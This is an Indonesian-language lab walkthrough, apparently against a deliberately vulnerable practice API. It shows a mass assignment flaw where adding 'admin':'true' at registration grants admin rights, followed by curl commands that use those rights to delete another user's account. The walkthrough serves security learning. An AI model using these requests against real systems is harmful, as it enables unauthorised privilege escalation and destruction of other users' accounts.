Framework terkadang memungkinkan developer untuk mengikat parameter request HTTP ke dalam variabel atau objek secara otomatis untuk membuat penggunaan framework tersebut mudah digunakan. Hal ini terkadang dapat menimbulkan kerugian. Misalnya, developer dapat membiarkan beberapa fungsi privat terbuka untuk umum seperti siapa pun dapat membuat akun admin. Jika fungsi semacam ini ada maka penyerang dapat memanfaatkannya. Celah keamanan ini berada di endpoint /users/v1/register
. Melalui endpoint tersebut kita bisa mendaftarkan diri sebagai admin hanya dengan menambahkan parameter admin=true
- Register akun baru dengan username
test1
curl http://IP_Server:5000/users/v1/register -d '{"email":"[email protected]","username":"test1","password":"test1"}' -H 'Content-Type: application/json' --proxy http://127.0.0.1:8080
- Sekarang kita coba register akun baru dengan username
test2
lalu menambahkan parameteradmin=true
supaya usertest2
bisa bertindak sebagai admin
curl http://IP_Server:5000/users/v1/register -d '{"email":"[email protected]","username":"test2","password":"test2","admin":"true"}' -H 'Content-Type: application/json' --proxy http://127.0.0.1:8080
- Setelah kita coba tambahkan parameter
admin=true
, proses registerasi user dinyatakan berhasil oleh sistem artinya usertest2
bisa bertindak sebagai admin - Pada dokumentasi API sistem di URL
http://IP_Server:5000/ui
terdapat informasi bahwa endpoint/users/v1/{username}
dengan jenis requestDELETE
hanya bisa diakses oleh admin saja
- Sekarang kita coba apakah user
test2
bisa menghapus usertest1
melalui endpoint tersebut. Pertama-tama kita login sebagai usertest2
dan copy nilaiauth_token
curl http://IP_Server:5000/users/v1/login -d '{"username":"test2","password":"test2"}' -H 'Content-Type: application/json' --proxy http://127.0.0.1:8080
- Setelah itu kita coba hapus akun user
test1
dengan menggunakan menggunakan endpoint/users/v1/{username}
curl -X DELETE http://IP_Server:5000/users/v1/test1 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080
- User
test2
ternyata bisa menggunakan endpoint/users/v1/{username}
untuk menghapus akun usertest1
, dimana endpoint/users/v1/{username}
sebenarnya hanya bisa digunakan oleh admin saja. Tapi dengan menambahkan parameteradmin=true
saat registerasi, akun tersebut akan otomatis terdaftar sebagai admin. Celah keamanan ini bisa digunakan attacker untuk melakukan privileges escalation dan authentication bypass yang memiliki impact sangat berbahaya ke sistem API